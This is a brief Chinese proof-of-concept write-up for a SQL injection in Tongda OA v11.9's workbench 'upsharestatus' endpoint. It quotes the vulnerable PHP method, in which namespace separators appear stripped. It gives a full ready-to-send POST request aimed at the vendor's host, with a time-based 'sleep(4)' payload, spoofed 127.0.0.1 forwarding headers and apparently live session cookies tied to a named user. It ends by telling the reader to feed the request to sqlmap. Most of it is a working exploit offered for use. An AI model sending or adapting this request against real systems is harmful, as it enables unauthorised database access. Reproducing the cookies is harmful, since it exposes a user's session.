通达OA v11.9 WorkbenchController.php 后台SQL注入漏洞

https://cdndown.tongda2000.com/oa/2019/TDOA11.8.exe

public function actionUpsharestatus(){    Yii::$app->response->format = yiiwebResponse::FORMAT_JSON;    $data = modulesappdesignmodelsAppUtils::toGBK($_POST);
    if (modulesportalcontrollersintval($data["uid"]) == $_SESSION["LOGIN_UID"]) {      modulesportalmodelsPortalWorkbench::updateAll(array("state" => "{$data["status"]}"), "id={$data["id"]}");    }    else if ($data["status"] == 1) {      modulesportalmodelsPortalWorkbenchState::deleteAll(array("wids" => "{$data["id"]}", "uid" => "{$_SESSION["LOGIN_UID"]}"));    }    else {      $Work = new modulesportalmodelsPortalWorkbenchState();      $Work->wids = $data["id"];      $Work->uid = $_SESSION["LOGIN_UID"];      $Work->save();    }
    $dataBack = array("status" => 1, "msg" => modulesportalcontrollers_("操作成功"));    $dataBack = modulesappdesignmodelsAppUtils::toUTF8($dataBack);    return $dataBack;  }

所以这里就出现了 id 参数存在注入的情况，请求包如下

POST /general/appbuilder/web/portal/workbench/upsharestatus HTTP/1.1Host: oa.tongda2000.comConnection: closeContent-Length: 36Cache-Control: max-age=0sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36Origin: https://oa.tongda2000.comContent-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://oa.tongda2000.com/general/appbuilder/web/portal/workbench/upsharestatusAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6Cookie: __root_domain_v=.tongda2000.com; SID_12=5ea03399; USER_NAME_COOKIE=chenqiang; Hm_lvt_7cbefde9059536a2b96aaafc134d625c=1617014067,1617196083; _qddaz=QD.677915359373668; PHPSESSID=nso4iqhvp2qi464eoavk2fn0c0; OA_USER_ID=chenqiang; SID_15=ded66d80; LAST_OPERATION_TIME=1617242241x-forwarded-for: 127.0.0.1x-originating-ip: 127.0.0.1x-remote-ip: 127.0.0.1x-remote-addr: 127.0.0.1
uid=15&status=1&id=1;select sleep(4)

注意：如果uid错误则不会出现时间延迟，将请求包放入 Sqlmap跑一下